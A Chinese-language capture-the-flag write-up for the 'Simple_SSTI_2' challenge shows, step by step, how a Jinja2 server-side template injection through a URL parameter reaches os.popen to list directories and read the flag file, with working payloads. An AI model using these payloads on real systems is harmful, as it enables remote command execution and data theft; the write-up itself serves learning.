2022年3月24日学习记录
Simple_SSTI_2的write up
1.打开题目先看源码
得到提示我们要进行模板注入
2.首先进行文件搜索,在网址后面加上/?flag={{config}}
没看到什么特殊之处
3、利用ls看存在文件
/?flag={{%20config.__class__.__init__.__globals__[%27os%27].popen(%27ls%20../%27).read()%20}} ##__class__:用来查看变量所属的类,根据前面的变量形式可以得到其所属的类。 ##__init__ 初始化类,返回的类型是function ##__globals__[] 使用方式是 函数名.__globals__获取function所处空间下可使用的module、方法以及所有变量。 ##os.popen() 方法用于从一个命令打开一个管道。 ##open() 方法用于打开一个文件,并返回文件对象
得到文件目录提示
存在一堆文件夹
发现进去以后第一个文件就有flag
/?flag={{%20config.__class__.__init__.__globals__[%27os%27].popen(%27ls%20../app/%27).read()%20}} #根据URL转换表,%20 -> 空格 %27 -> '
接下来直接打开就行了,没有对cat进行过滤
/?flag={{%20config.__class__.__init__.__globals__[%27os%27].popen(%27cat%20../app/flag%27).read()%20}}